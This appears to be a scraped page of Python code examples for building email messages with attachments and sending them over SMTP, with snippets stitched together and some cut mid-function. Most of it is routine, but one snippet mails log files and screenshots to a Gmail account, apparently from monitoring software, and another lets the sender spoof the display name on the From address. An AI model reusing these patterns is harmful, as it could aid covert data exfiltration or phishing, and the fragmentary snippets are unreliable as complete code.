def send_email(self):
        message = MIMEMultipart()
        message["Subject"] = "%s Crossword Number %s " % (self.cross_type.capitalize(), self.serial_number)
        message["From"] = self.from_email_address
        message["To"] = self.to_email_address
        message.preamble = message["Subject"]

        f = open(self.html_filename)
        text = MIMEText(f.read(), "html")
        f.close()
        text.add_header("Content-Disposition", "attachment", filename=self.basename + ".html")
        message.attach(text)

        f = open(self.css_filename)
        text = MIMEText(f.read(), "css")
        f.close()
        text.add_header("Content-Disposition", "attachment", filename=self.basename + ".css")
        message.attach(text)

        server = smtplib.SMTP(self.smtp_server)
#        server.set_debuglevel(1)
        server.sendmail(self.from_email_address, self.to_email_address, message.as_string())
        server.quit

        return True
Esempio n. 2
0
    def smtpSendWithFile(self, toList, sub, att):
        msg = MIMEMultipart()
        me = 'Ming<{0}@{1}>'.format(self.mail_user,self.mail_postfix)
        msg['Subject'] = Header(sub,'utf-8')
        msg['From'] = me
        msg['To'] = ','.join(toList)
        #with open(att,'rb') as fp:
        #    content = MIMEBase('application', 'octet-stream')
        #    content.set_payload(fp.read())
        with open(att,'rb') as fp:
            content = MIMEText(fp.read(), _subtype = 'plain', _charset = 'utf-8')
        #encoders.encode_base64(content)
        fileName = '{0}_{1}'.format(sub, os.path.basename(att))
        content.add_header('Content-Disposition', 'attachment', filename = fileName)
        msg.attach(content)
        composed = msg.as_string()
        try:
          s = smtplib.SMTP()
          s.connect(self.mailHost)
          s.login(self.mail_user, self.mail_pwd)
          s.sendmail(me, toList, composed)
          s.close()
          return True
        except Exception as e:
          print(str(e))
          return False

#monitor = WinMonitorClass()
#content = "This is only a test mail sent by Python. Click following link to go to <a href='http://www.baidu.com'>百度</a>"
##monitor.imapHelper()
#mailtoList = [r'*****@*****.**', r'*****@*****.**',r'*****@*****.**']
#if monitor.smtpSend(mailtoList, "Hello SMTP!", content):
#    print("Send Successfully...")
#else:
#    print("Send Mail Failed!!!")
Esempio n. 3
0
 def make_subpart(content, filename, subtype=None):
     if subtype is None:
         subtype = os.path.splitext(filename)[0]
     msg = MIMEText(content, _subtype=subtype)
     msg.add_header('Content-Disposition', 'attachment',
                    filename=filename)
     return msg
def send_email(user, pwd, recipient, subject, body):
    import smtplib
    from email.mime.text import MIMEText
    from email.mime.application import MIMEApplication
    from email.mime.multipart import MIMEMultipart

    gmail_user = user
    gmail_pwd = pwd

    msg = MIMEMultipart()
    msg['Subject'] = subject
    msg['From'] = user
    msg['Reply-to'] = user
    msg['To'] = recipient
    msg.preamble = 'Multipart massage.\n'

    # This is the textual part:
    part = MIMEText(body)
    msg.attach(part)

    # This is the binary part(The Attachment):
    part = MIMEApplication(open("intrusion.png","rb").read())
    part.add_header('Content-Disposition', 'attachment', filename="intrusion.png")
    msg.attach(part)    

    server = smtplib.SMTP("smtp.gmail.com", 587)
    server.ehlo()
    server.starttls()
    server.login(gmail_user, gmail_pwd)
    server.sendmail(msg['From'], msg['To'], msg.as_string())
    server.close()
Esempio n. 5
0
def mimewrap(path, filename=None, ctype=None):
    content = open(path, 'rb').read()
    if not ctype:
        ctype = guess_mimetype(content)
        # libmagic < 5.12 incorrectly detects excel/powerpoint files as 
        # 'application/msword' (see #179 and #186 in libmagic bugtracker)
        # This is a workaround, based on file extension, useful as long
        # as distributions still ship libmagic 5.11.
        if (ctype == 'application/msword' and
                not libmagic_version_at_least(513)):
            mimetype, encoding = mimetypes.guess_type(path)
            if mimetype:
                ctype = mimetype

    maintype, subtype = ctype.split('/', 1)
    if maintype == 'text':
        part = MIMEText(content.decode(guess_encoding(content), 'replace'),
                        _subtype=subtype,
                        _charset='utf-8')
    elif maintype == 'image':
        part = MIMEImage(content, _subtype=subtype)
    elif maintype == 'audio':
        part = MIMEAudio(content, _subtype=subtype)
    else:
        part = MIMEBase(maintype, subtype)
        part.set_payload(content)
        # Encode the payload using Base64
        email.encoders.encode_base64(part)
    # Set the filename parameter
    if not filename:
        filename = os.path.basename(path)
    part.add_header('Content-Disposition', 'attachment',
                    filename=filename)
    return part
def send_email(subject, message, boarding_pass=None, email=None):
  if not config["SEND_EMAIL"] or not config["SEND_ADMIN_EMAIL"]: return

  if email is not None:
    config["EMAIL_TO"] = email

  dlog("Sending email to:" + config["EMAIL_TO"])
  for to in [string.strip(s) for s in string.split(config["EMAIL_TO"], ',')]:
    try:
      smtp = smtplib.SMTP(config["SMTP_SERVER"], config["SMTP_PORT"])
      smtp.ehlo()
      if config["SMTP_USE_TLS"]:
        smtp.starttls()
      smtp.ehlo()
      if config["SMTP_AUTH"]:
        smtp.login(config["SMTP_USER"], config["SMTP_PASSWORD"])
      print 'Sending mail to %s.' % to
      msg = MIMEMultipart('mixed')
      msg['Subject'] = subject
      msg['To'] = to
      msg['From'] = config["EMAIL_FROM"]
      msg.attach(MIMEText(message, 'plain'))
      if boarding_pass:
        msg_bp = MIMEText(boarding_pass, 'html')
        msg_bp.add_header('content-disposition', 'attachment', filename='boarding_pass.html')
        msg.attach(msg_bp)
      smtp.sendmail(config["EMAIL_FROM"], to, msg.as_string())

      print 'Email sent successfully.'
      smtp.close()
    except Exception, e:
      print 'Error sending email!'
      raise e
Esempio n. 7
0
def mail_report(to, ticker_name):
    # Outer wrapper
    msg_outer = MIMEMultipart()
    msg_outer['Subject'] = "Stock report for " + ticker_name
    msg_outer['From'] = "*****@*****.**"
    msg_outer['To'] = to

    # Internal text container
    msg = MIMEMultipart('alternative')
    text = "Here is the stock report for " + ticker_name
    html = """\
    <html>
      <head></head>
      <body>
        <p>Here is the stock report for <b>""" + ticker_name + """</b>
        </p>
      </body>
    </html>
    """
    part1 = MIMEText(text, 'plain')
    part2 = MIMEText(html, 'html')
    # Attach parts into message container.
    msg.attach(part1)
    msg.attach(part2)
    msg_outer.attach(msg)

    filename = 'stocktracker-GOOG.csv'
    csv_text = ''.join(file(filename).readlines())
    csv_part = MIMEText(csv_text, 'csv')
    csv_part.add_header('Content-Disposition',
        'attachment', filename=filename)
    msg_outer.attach(csv_part)

    #send_message(msg_outer)
    queue_mail(msg_outer)
Esempio n. 8
0
 def __atach_files(self, msg, attachment_files):
     if isinstance(attachment_files, dict):
         for f_name, msg_file in attachment_files.items():
             ctype, encoding = mimetypes.guess_type(f_name)
             logging.info("guessing file %s type based on %s", ctype,
                          f_name)
             if ctype is None or encoding is not None:
                 # No guess could be made, or the file is encoded
                 # (compressed), so use a generic bag-of-bits type.
                 ctype = 'application/octet-stream'
             maintype, subtype = ctype.split('/', 1)
             if maintype == 'text':
                 # Note: we should handle calculating the charset
                 file_part = MIMEText(self.get_content(msg_file),
                                      _subtype=subtype)
             elif maintype == 'image':
                 file_part = MIMEImage(self.get_content(msg_file),
                                       _subtype=subtype)
             elif maintype == 'audio':
                 file_part = MIMEAudio(self.get_content(msg_file),
                                       _subtype=subtype)
             else:
                 file_part = MIMEBase(maintype, subtype)
                 file_part.set_payload(self.get_content(msg_file))
                 # Encode the payload using Base64
                 encoders.encode_base64(msg)
             # Set the filename parameter
             file_part.add_header('Content-Disposition', 'attachment',
                                  filename=f_name)
             file_part.add_header('Content-Type', ctype, name=f_name)
             msg.attach(file_part)
     else:
         raise Exception('Attachment files should be'
                         'a dict in format {"filename":"filepath"}')
Esempio n. 9
0
    def send(self,file='', dest='*****@*****.**'):
        sender = '*****@*****.**'
        receivers = [dest]

        try:
            cli = smtplib.SMTP('smtp.gmail.com', 587)
            cli.ehlo()
            cli.starttls()
            cli.login("*****@*****.**", "konnichiwa")
            msg = MIMEMultipart()
            msg['From'] = "Sala Tecnica"
            msg['Subject'] = "Email Autogenerado - Mantto. Aircon"
            msg.attach(MIMEText("Se adjunta un archivo con el resultado de las comprobaciones "
                                "del Mantenimiento Mensual Aircon \n para mejor visualizacion de los datos"
                                " abrir el archivo con Excel"))

            ctype, encoding = mimetypes.guess_type(file)
            if ctype is None or encoding is not None:
                ctype = "application/octet-stream"

            maintype, subtype = ctype.split("/", 1)

            if maintype == "text":
                fp = open(file)
                # Note: we should handle calculating the charset
                attachment = MIMEText(fp.read(), _subtype=subtype)
                fp.close()
            attachment.add_header("Content-Disposition", "attachment", filename=basename(file))
            msg.attach(attachment)


            cli.sendmail(sender,receivers,msg.as_string())

        except (socket.gaierror, socket.error, socket.herror, smtplib.SMTPException) as e:
            print (e)
Esempio n. 10
0
def build_msg(path_file, attachment=True):
    try:
        if attachment:
            base_name = os.path.basename(path_file)
            ctype, encoding = mimetypes.guess_type(path_file)
            if ctype is None or encoding is not None:
                # No guess could be made, or the file is encoded (compressed), so
                # use a generic bag-of-bits type.
                ctype = 'application/octet-stream'
            maintype, subtype = ctype.split('/', 1)
            if maintype == 'text':
                fp = open(path_file, 'rb')
                # Note: we should handle calculating the charset
                msg = MIMEText(fp.read(), _subtype=subtype)
                fp.close()
            else:
                fp = open(path_file, 'rb')
                msg = MIMEBase(maintype, subtype)
                msg.set_payload(fp.read())
                fp.close()
                # Encode the payload using Base64
                encoders.encode_base64(msg)
                # Set the filename parameter
            msg.add_header('Content-Disposition', 'attachment', filename=base_name)
        else:
            fp = open(path_file, 'rb')
            msg = MIMEText(fp.read())
            fp.close()
        return msg
    except:
        return None
Esempio n. 11
0
    def _multipart(self):
        """The email has attachments"""

        msg = MIMEMultipart('related')

        if self.Html:
            outer = MIMEMultipart('alternative')
            
            part1 = MIMEText(self.Body, 'plain', self.charset)
            part1.add_header('Content-Disposition', 'inline')

            part2 = MIMEText(self.Html, 'html', self.charset)
            part2.add_header('Content-Disposition', 'inline')

            outer.attach(part1)
            outer.attach(part2)
            msg.attach(outer)
        else:
            msg.attach(MIMEText(self.Body, 'plain', self.charset))

        self._set_info(msg)
        msg.preamble = self.Subject

        for filename, cid in self.attachments:
            self._add_attachment(msg, filename, cid)

        return msg.as_string()
def email_certi( filename, receiver ):
    username = ""
    password = ""
    sender = username + '@gmail.com'

    msg = MIMEMultipart()
    msg['Subject'] = 'NSS certificate'
    msg['From'] = username+'@gmail.com'
    msg['Reply-to'] = username + '@gmail.com'
    msg['To'] = receiver

    # That is what u see if dont have an email reader:
    msg.preamble = 'Multipart massage.\n'
    
    # Body
    part = MIMEText( "Hello,\n\nPlease find attached your NSS certificate.\n\nGreetings." )
    msg.attach( part )

    # Attachment
    part = MIMEApplication(open(filename,"rb").read())
    part.add_header('Content-Disposition', 'attachment', filename = os.path.basename(filename))
    msg.attach( part )

    # Login
    server = smtplib.SMTP( 'smtp.gmail.com:587' )
    server.starttls()
    server.login( username, password )

    # Send the email
    server.sendmail( msg['From'], msg['To'], msg.as_string() )
Esempio n. 13
0
def send_concordance_url(auth, plugin_api, recipient, url):
    user_id = plugin_api.session['user']['id']
    user_info = auth.get_user_info(user_id)
    user_email = user_info['email']
    username = user_info['username']
    smtp_server = settings.get('mailing', 'smtp_server')
    sender = settings.get('mailing', 'sender')

    text = _('KonText user %s has sent a concordance link to you') % (username, ) + ':'
    text += '\n\n'
    text += url + '\n\n'
    text += '\n---------------------\n'
    text += time.strftime('%d.%m. %Y %H:%M')
    text += '\n'

    s = smtplib.SMTP(smtp_server)

    msg = MIMEText(text, 'plain', 'utf-8')
    msg['Subject'] = _('KonText concordance link')
    msg['From'] = sender
    msg['To'] = recipient
    msg.add_header('Reply-To', user_email)
    try:
        s.sendmail(sender, [recipient], msg.as_string())
        ans = True
    except Exception as ex:
        logging.getLogger(__name__).warn(
            'There were errors sending concordance link via e-mail(s): %s' % (ex,))
        ans = False
    finally:
        s.quit()
    return ans
def adiciona_anexo(msg, filename):
    if not os.path.isfile(filename):
        return

    ctype, encoding = mimetypes.guess_type(filename)

    if ctype is None or encoding is not None:
        ctype = 'application/octet-stream'

    maintype, subtype = ctype.split('/', 1)

    if maintype == 'text':
        with open(filename) as f:
            mime = MIMEText(f.read(), _subtype=subtype)
    elif maintype == 'image':
        with open(filename, 'rb') as f:
            mime = MIMEImage(f.read(), _subtype=subtype)
    elif maintype == 'audio':
        with open(filename, 'rb') as f:
            mime = MIMEAudio(f.read(), _subtype=subtype)
    else:
        with open(filename, 'rb') as f:
            mime = MIMEBase(maintype, subtype)
            mime.set_payload(f.read())

        encoders.encode_base64(mime)

    mime.add_header('Content-Disposition', 'attachment', filename=filename)
    msg.attach(mime)
Esempio n. 15
0
def sendmail(file_new):
    #读取报告内容
    f = open(file_new,'rb')
    mail_body = f.read()
    f.close()

    mail_host = 'smtp.126.com'
    mail_user = '******'
    mail_pass = '******'

    #发送附件
    nowtime = time.strftime('%Y-%m-%d')
    msg = MIMEMultipart()
    part = MIMEText(open(file_new,'rb').read(),'base64','utf-8')
    part.add_header('Content-Disposition','attachment',filename="测试报告" + nowtime + ".html")
    msg.attach(part)

    #设置收发件人信息和邮件主题
    msg.attach(MIMEText(mail_body,'html','utf-8'))
    msg['From'] = '*****@*****.**'
    msg['To'] = '*****@*****.**'
    msg['Subject'] = "APP1.3测试报告" + nowtime
    smtp = smtplib.SMTP()
    smtp.connect(mail_host)
    smtp.login(mail_user,mail_pass)
    smtp.sendmail(msg['From'],msg['To'],msg.as_string())
    smtp.quit()
Esempio n. 16
0
def mime_class(maintype,subtype, f):
    ''' Return the mime type class'''
    if maintype == 'text':
        fp = open(f)
        # Note: we should handle calculating the charset
        msg = MIMEText(fp.read(), _subtype=subtype)
        fp.close()
    elif maintype == 'image':
        fp = open(f, 'rb')
        msg = MIMEImage(fp.read(), _subtype=subtype)
        fp.close()
    elif maintype == 'audio':
        fp = open(f, 'rb')
        msg = MIMEAudio(fp.read(), _subtype=subtype)
        fp.close()
    else:
        fp = open(f, 'rb')
        msg = MIMEBase(maintype, subtype)
        msg.set_payload(fp.read())
        fp.close()
        # Encode the payload using Base64
        encoders.encode_base64(msg)
    msg.add_header('Content-Disposition',
                   'attachment',
                   filename=f)
    return msg
    def build_attachments(self):
        """Build email's attachment messages"""
        attachments = []

        for attachment in self.newsletter.attachment_set.all():
            ctype, encoding = mimetypes.guess_type(attachment.file_attachment.path)

            if ctype is None or encoding is not None:
                ctype = 'application/octet-stream'

            maintype, subtype = ctype.split('/', 1)

            fd = open(attachment.file_attachment.path, 'rb')
            if maintype == 'text':
                message_attachment = MIMEText(fd.read(), _subtype=subtype)
            elif maintype == 'message':
                message_attachment = message_from_file(fd)
            elif maintype == 'image':
                message_attachment = MIMEImage(fd.read(), _subtype=subtype)
            elif maintype == 'audio':
                message_attachment = MIMEAudio(fd.read(), _subtype=subtype)
            else:
                message_attachment = MIMEBase(maintype, subtype)
                message_attachment.set_payload(fd.read())
                encode_base64(message_attachment)
            fd.close()
            message_attachment.add_header('Content-Disposition', 'attachment',
                                          filename=attachment.title)
            attachments.append(message_attachment)

        return attachments
Esempio n. 18
0
def createAttachment(filename, data):
    # Guess the content type based on the file's extension.  Encoding
    # will be ignored, although we should check for simple things like
    # gzip'd or compressed files.
    ctype, encoding = mimetypes.guess_type(filename)
    if ctype is None or encoding is not None:
        # No guess could be made, or the file is encoded (compressed), so
        # use a generic bag-of-bits type.
        ctype = 'application/octet-stream'
    maintype, subtype = ctype.split('/', 1)
    if maintype == 'text':
        # Note: we should handle calculating the charset
        msg = MIMEText(data.read(), _subtype=subtype)
    elif maintype == 'image':
        msg = MIMEImage(data.read(), _subtype=subtype)
    elif maintype == 'audio':
        msg = MIMEAudio(data.read(), _subtype=subtype)
    else:
        msg = MIMEBase(maintype, subtype)
        msg.set_payload(data.read())
        # Encode the payload using Base64
        encoders.encode_base64(msg)
    # Set the filename parameter
    msg.add_header('Content-Disposition', 'attachment', filename=filename)
    return msg
Esempio n. 19
0
def sendEmail(TO, FROM, SUBJECT, MESSAGE, ATTACH=False):   
################################################################################
    # Determine type of email
    if ATTACH != False: msg = MIMEMultipart()
    else: msg = MIMEText(MESSAGE) 
    
    # this works for both types of emails
    msg['Subject'] = SUBJECT
    msg['From'] = FROM
    msg['To'] = TO

    if ATTACH != False: 
        # That is what u see if dont have an email reader:
        msg.preamble = 'Multipart massage.\n'
    
        # This is the textual part:
        part = MIMEText(MESSAGE)
        msg.attach(part)
    
        # This is the binary part(The Attachment):
        part = MIMEApplication(open(ATTACH,"rb").read())
        part.add_header('Content-Disposition', 'attachment', filename=ATTACH)
        msg.attach(part)

    s = smtplib.SMTP(SERVER)
    s.sendmail(FROM, [TO], msg.as_string())
    s.quit()
Esempio n. 20
0
def send_email(filename):
    _user = "******"
    _pwd  = "yangmaodang"
    _to   = "*****@*****.**"

    #如名字所示Multipart就是分多个部分
    msg = MIMEMultipart()
    msg["Subject"] = 'newsmth-'+time.strftime('%Y%m%d')
    msg["From"]    = _user
    msg["To"]      = _to

    #---这是文字部分---
    part = MIMEText(u"庞老师辛苦!", 'plain', 'utf-8')
    msg.attach(part)

    #---这是附件部分---
    if os.path.isfile(filename):
        part = MIMEApplication(open(filename, 'rb').read())
        part.add_header('Content-Disposition', 'attachment',
                        filename=filename)
        msg.attach(part)

    s = smtplib.SMTP("smtp.sina.com", timeout=30)#连接smtp邮件服务器,端口默认是25
    s.login(_user, _pwd)#登陆服务器
    s.sendmail(_user, _to, msg.as_string())#发送邮件
    s.close()
Esempio n. 21
0
def sendmail(content):
    msg = MIMEMultipart()
    now = datetime.now()
    date = now.strftime('%d %b %Y %X')
    msg["Subject"] = "Listado de Proyectos"+ ', ' + date
    attachment = MIMEText(content.encode('utf-8'))
    attachment.add_header('Content-Disposition', 'attachment',
                        filename="rss_laburos.txt")
    msg.attach(attachment)
    unexpanded_path = os.path.join("~", ".config", "rssparser.cfg")
    expanded_path = os.path.expanduser(unexpanded_path)
    config = ConfigParser.RawConfigParser()
    config.read(expanded_path)

    username = config.get('main', 'username')
    password = config.get('main', 'password')
    fromaddr = config.get('main', 'fromaddr')
    toaddrs = config.get('main', 'toaddrs')

    server = smtplib.SMTP('smtp.gmail.com', 587)
    server.ehlo()
    server.starttls()
    server.ehlo()
    server.login(username,password)
    server.sendmail(fromaddr, toaddrs, msg.as_string())
    server.quit()
def get_attachment(path, filename):
    ctype, encoding = mimetypes.guess_type(path)

    if ctype is None or encoding is not None:
        ctype = 'application/octet-stream'

    maintype, subtype = ctype.split('/', 1)

    fp = open(path, 'rb')
    if maintype == 'text':
        attachment = MIMEText(fp.read(),_subtype=subtype)
    elif maintype == 'message':
        attachment = email.message_from_file(fp)
    elif maintype == 'image':
        attachment = MIMEImage(fp.read(),_subtype=subtype)
    elif maintype == 'audio':
        attachment = MIMEAudio(fp.read(),_subtype=subtype)
    else:
        attachment = MIMEBase(maintype, subtype)
        attachment.set_payload(fp.read())
        encode_base64(attachment)
    fp.close()

    attachment.add_header(
        'Content-Disposition',
        'attachmentment',
        filename=filename)
    return attachment
Esempio n. 23
0
def send_mail(subject, test_report_html, to):
	msg = MIMEMultipart('alternative')

	fp = open(test_report_html, 'rb')
	testReportHtml= fp.read()

	currentDateTime = now.strftime("%Y_%m_%d_%H_%M_%S")
	msg['Subject'] = subject
	msg['From'] = me
	msg['To'] = "*****@*****.**"

	attachment = MIMEText(testReportHtml, "html")
	attachment.add_header('Content-Disposition', 'attachment', filename="TestResult.html")
	msg.attach(attachment)

	bodyContent = MIMEText(testReportHtml, 'html')
	fp.close()

	msg.attach(bodyContent)

	# Send the message via our own SMTP server, but don't include the
	# envelope header.
	s = smtplib.SMTP('localhost')   
	s.sendmail(me, to, msg.as_string())
	s.quit()
Esempio n. 24
0
def sendEmail():
	msg = MIMEMultipart()
	msg['Subject'] = LOG_SUBJ
	msg['From'] = LOG_FROM
	msg['To'] = LOG_MAIL
	msg.preamble = LOG_MSG
	# attach each file in LOG_TOSEND list  
	for file in LOG_TOSEND:
		# attach text file
		if file[-4:] == '.txt':
			fp = open(file)
			attach = MIMEText(fp.read())
			fp.close()
		# attach images
		elif file[-4:] == '.png':
			fp = open(file, 'rb')
			attach = MIMEImage(fp.read())
			fp.close()
		attach.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(file))
		msg.attach(attach)
		
	server = smtplib.SMTP('smtp.gmail.com:587')
	server.starttls()  
	server.login(LOG_MAIL, LOG_PASS)
	server.sendmail(LOG_FROM, LOG_MAIL, msg.as_string())  
	server.quit()
Esempio n. 25
0
class BaseMail(object):
    
    def __init__(self, conf):
        
        self._message = MIMEText('')
        self._message['From'] = formataddr(conf['sender'])
        
        self._sender = conf['sender'][1]
    
        self._recepients=[]
        
        self._conf = conf

    def __setattr__(self, key, val):
        if key=='body':
            self._message._payload=str(val)
        elif key=='subject':
            self._message['Subject']=val
        else:
            object.__setattr__(self, key, val)


    def add_header(self, header_name, header_value):
        self._message.add_header(header_name, header_value)

        
    def add_to(self, name, email):
        if name=='' or name is None:
            name=False
            
        self._recepients.append((name, email))
        

    def send(self):
        if len(self._recepients)==0:
            return

        emails=[email for name, email in self._recepients]
        self._message['To']=", ".join([formataddr(pair)\
                                       for pair in self._recepients])
        
        # start server and send
        conf = self._conf
        self._server = SMTP(conf['smtp']['server'], conf['smtp']['port'])
        if conf['smtp']['tls']: self._server.starttls() 
        
        self._server.login(conf['smtp']['user'], conf['smtp']['password'])
        
        self._server.set_debuglevel(conf['debug_level'])
        
        self._server.sendmail(self._sender, emails, self._message.as_string())
        

    def __del__(self):
        try:
            server = self._server
        except AttributeError:
            pass
        else:
            server.quit()
Esempio n. 26
0
    def _email_data(self, file_list):
        """
            Send a list of file by email
            @param file_list: list of files to send
        """
        if len(file_list)==0:
            return

        import smtplib
        from email.mime.text import MIMEText
        from email.mime.multipart import MIMEMultipart
        sender_email = str(self._content.from_email_edit.text())
        recv_email = str(self._content.to_email_edit.text())

        msg = MIMEMultipart()
        msg["Subject"] = "[Mantid] Reduced data"
        msg["From"] = sender_email
        msg["To"] = recv_email
        msg.preamble = "Reduced data"

        body = MIMEText("The attached reflectivity files were sent by MantidPlot.")
        msg.attach(body)

        for file_path in file_list:
            output_file = open(file_path, 'r')
            file_name = os.path.basename(file_path)
            att = MIMEText(output_file.read())
            att.add_header('Content-Disposition', 'attachment', filename=file_name)
            output_file.close()
            msg.attach(att)

        s = smtplib.SMTP('localhost')
        s.sendmail(recv_email, recv_email, msg.as_string())
        s.quit()
Esempio n. 27
0
File: gam.py Progetto: NewRegin/gam
  def newMailWithAttach(self, lFrom, lTo, lSubject, lText, lMailId, lName):
    data = ""
    for msg in self.maillist:
      if msg['id'] == lMailId.decode('utf-8'):
        for attach in msg['attach']:
          if attach['filename'] == lName.decode('utf-8'):
            attachment = self.service.users().messages().attachments().get(userId='me',messageId=msg['id'],id=attach['attachId']).execute()
            data = base64.urlsafe_b64decode(attachment['data'].encode('utf-8'))
            message = MIMEMultipart()
            message['From'] = lFrom.decode('utf-8')
            message['To'] = lTo.decode('utf-8')
            message['Subject'] = lSubject.decode('utf-8')

            msg = MIMEText(lText.decode('utf-8'), 'plain', 'utf-8')
            message.attach(msg)

            content_type, encoding = mimetypes.guess_type(lName.decode('utf-8'))    

            if content_type is None or encoding is not None:
              content_type = 'application/octet-stream'
            main_type, sub_type = content_type.split('/', 1)
            if main_type == 'text' or main_type == 'image' or main_type == 'audio':
              msg = MIMEText(data, _subtype=sub_type)
            else:
              msg = MIMEBase(main_type, sub_type)
              msg.set_payload(data)    

            msg.add_header('Content-Disposition', 'attachment', filename=lName)
            message.attach(msg)    

            return {'raw': base64.urlsafe_b64encode(message.as_string())}
Esempio n. 28
0
 def send_message(self):
      
     msg = MIMEMultipart('alternative')
     msg['From'] = self.fromEmail
     msg['To'] = self.toEmail
     msg['Subject'] = self.subject
     if self.filename:
         f = file(self.filename)
         attachment = MIMEText(f.read())
         attachment.add_header('Content-Disposition',
                               'attachment', 
                               filename=self.filename)
         msg.attach(attachment)
         print f
     if self.displayname:
         display_name = self.displayname + " <" + self.fromEmail + ">"
         msg.replace_header('From', display_name)
     if self.body:
         body = self.body
         content = MIMEText(body, 'plain')
         msg.attach(content)
     else:
         body = 'Whenever I\'m about to do something, I think, \'Would an idiot do that?\' And if they would, I do not do that thing.'
         content = MIMEText(body, 'plain')
         msg.attach(content)
     try: 
         print '[+] attempting to send message'
         s = smtplib.SMTP(self.server, self.port)
         s.sendmail(self.fromEmail, self.toEmail, msg.as_string())
         print '[$] successfully sent through {}:{}'.format(self.server,
                                                            self.port)
     except socket.error as e:
         print '[!] could not connect'
Esempio n. 29
0
    def _handle_import_failure(self, history_file, exception=None, result=None):
        saved_id = str(uuid4())
        with open(self._imports_path(saved_id), "wb") as uploaded_file:
            history_file.file.seek(0)
            copyfileobj(history_file.file, uploaded_file)
       
        from email.mime.text import MIMEText
        from email.mime.multipart import MIMEMultipart
        from email.header import Header

        main = MIMEMultipart()
        main['Subject'] = _('Please inspect transactions history file')
      
        body = _('File %(file)s\nUploaded by %(email)s') % { 'file': saved_id, 'email': h.authenticated_user().email }
        main.attach(MIMEText(isinstance(body, unicode) and body.encode('utf-8') or body, _charset='utf-8'))

        if exception is not None:
            em = MIMEText(str(exception), _charset='utf-8')
            em.add_header('Content-Disposition', 'attachment', filename='exception.txt')
            main.attach(em)

        if result is not None:
            if result.get('failures', None) is not None:
                for exception in result['failures']:
                    em = MIMEText(str(exception), _charset='utf-8')
                    em.add_header('Content-Disposition', 'attachment', filename='csv.txt')
                    main.attach(em)

        self.emailSender().send_mime(config['email_to'], h.authenticated_user().email, main)
    def send_file_byemail(self, jid, filepath, account):
        import smtplib
        from email.mime.multipart import MIMEMultipart
        from email.mime.text import MIMEText        

        msg = MIMEMultipart('alternative')
        s = smtplib.SMTP('smtp.gmail.com', 587)
        
        s.ehlo()
        s.starttls()
        s.ehlo()
        
        s.login(account['username'], account['password'])
        msg['Subject'] = 'Here you have the image'
        msg['From'] = account['username']
        body = 'Please, see in the attatchments the image'
        content = MIMEText(body, 'plain')
        msg.attach(content)

        f = file(filepath)
        attachment = MIMEText(f.read())
        attachment.add_header(\
            'Content-Disposition',\
            'attachment',\
            filename=filepath.split('/')[-1])
        
        msg.attach(attachment)
        
        s.sendmail(account['username'],account['admin'],msg.as_string())
(status1, output2) = commands.getstatusoutput(more_file2)

if sys.argv[2] == "re":
    test_type = "re"
else:
    test_type = sys.argv[2] + " "

subject = '[' + hostname + '] ' + build + ' ' + test_type + 'build finished!!!'
msg['Subject'] = Header(subject, 'utf-8')

content='['+build_time+']'+ "\n"+"Build server and path:   \n"+hostname+":"+path+" \n"+"\n"+\
         "Logs:--->(cat build.cmd)\n" + output3 +"\n\n" + \
         "git log \n" + output2 + "\n\n" + \
         output1

body = MIMEText(content, 'plain', 'utf-8')
msg.attach(body)

att1 = MIMEText(open('../build.cmd', 'r').read())
att1.add_header('Content-Disposition', 'attachment', filename="build.txt")
msg.attach(att1)

try:
    smtpObj = smtplib.SMTP('147.11.189.50', '25')
    smtpObj.sendmail(sender, receivers, msg.as_string())
    print "send build email Successfully"
except smtplib.SMTPException:
    print "Error: unable to send email"

smtpObj.close()
maintype, subtype = ctype.split("/", 1)

if maintype == "text":
    fp = open(fileToSend)
    # Note: we should handle calculating the charset
    attachment = MIMEText(fp.read(), _subtype=subtype)
    fp.close()
elif maintype == "image":
    fp = open(fileToSend, "rb")
    attachment = MIMEImage(fp.read(), _subtype=subtype)
    fp.close()
elif maintype == "audio":
    fp = open(fileToSend, "rb")
    attachment = MIMEAudio(fp.read(), _subtype=subtype)
    fp.close()
else:
    fp = open(fileToSend, "rb")
    attachment = MIMEBase(maintype, subtype)
    attachment.set_payload(fp.read())
    fp.close()
    encoders.encode_base64(attachment)
attachment.add_header("Content-Disposition", "attachment", filename=fileToSend)
msg.attach(attachment)

server = smtplib.SMTP("smtp.gmail.com:587")
server.starttls()
server.login(username, password)
server.sendmail(emailfrom, recepients, msg.as_string())
server.quit()
Esempio n. 33
0
    def addAttachments(self, mainmsg, bodytext, attaches, bodytextEncoding,
                       attachesEncodings):
        """
        格式化一条带有附件的多部分组成的消息,如果传入文本部分,则对其使用Unicode编码;
        """
        # 添加主题文本/纯文本部分
        msg = MIMEText(bodytext, _charset=bodytextEncoding)
        mainmsg.attach(msg)
        # 添加附件部分
        encodings = attachesEncodings or (['us-ascii'] * len(attaches))
        for (filename, fileencode) in zip(attaches, encodings):
            # 文件名可能是绝对或相对路径
            if not os.path.isfile(filename):  # 跳过目录,等等
                continue

            # 根据文件后缀名推测内容类型,忽略编码
            contype, encoding = mimetypes.guess_type(filename)
            if contype is None or encoding is not None:  # 不做推测,是否压缩文件?
                contype = 'application/octet-stream'  # 使用通用默认值
            self.trace('Adding' + contype)

            # 组件合适类型的Message子类
            maintype, subtype = contype.split('/', 1)
            if maintype == 'text':  # 文本需要编码
                if fix_text_required(fileencode):  # 要求str或bytes
                    data = open(filename, 'r', encoding=fileencode)
                else:
                    data = open(filename, 'rb')
                msg = MIMEText(data.read(),
                               _subtype=subtype,
                               _charset=fileencode)
                data.close()
            elif maintype == 'image':
                data = open(filename, 'rb')  # 使用二进制补丁
                msg = MIMEImage(data.read(),
                                _subtype=subtype,
                                _encoder=fix_encode_base64)
                data.close()
            elif maintype == 'audio':
                data = open(filename, 'rb')
                msg = MIMEAudio(data.read(),
                                _subtype=subtype,
                                _encoder=fix_encode_base64)
                data.close()
            elif maintype == 'application':
                data = open(filename, 'rb')
                msg = MIMEApplication(data.read(),
                                      _subtype=subtype,
                                      _encoder=fix_encode_base64)
                data.close()
            else:
                data = open(filename, 'rb')  # application/*也可以
                msg = MIMEBase(maintype, subtype)  # 使用此代码
                msg.set_payload(data.read())
                data.close()  # 创建通用类型
                fix_encode_base64(msg)  # 上次在此再次中断!
                # email.encoders.encode_base64(msg)            # 使用base64编码

            # 设置文件名并添加到容器
            basename = os.path.basename(filename)
            msg.add_header('Content-Disposition',
                           'attachments',
                           filename=basename)
            mainmsg.attach(msg)

        # mime结构之外的文本,非MIME邮件阅读器可阅读的部分
        mainmsg.preamble = 'A multi-part MIME format message.\n'
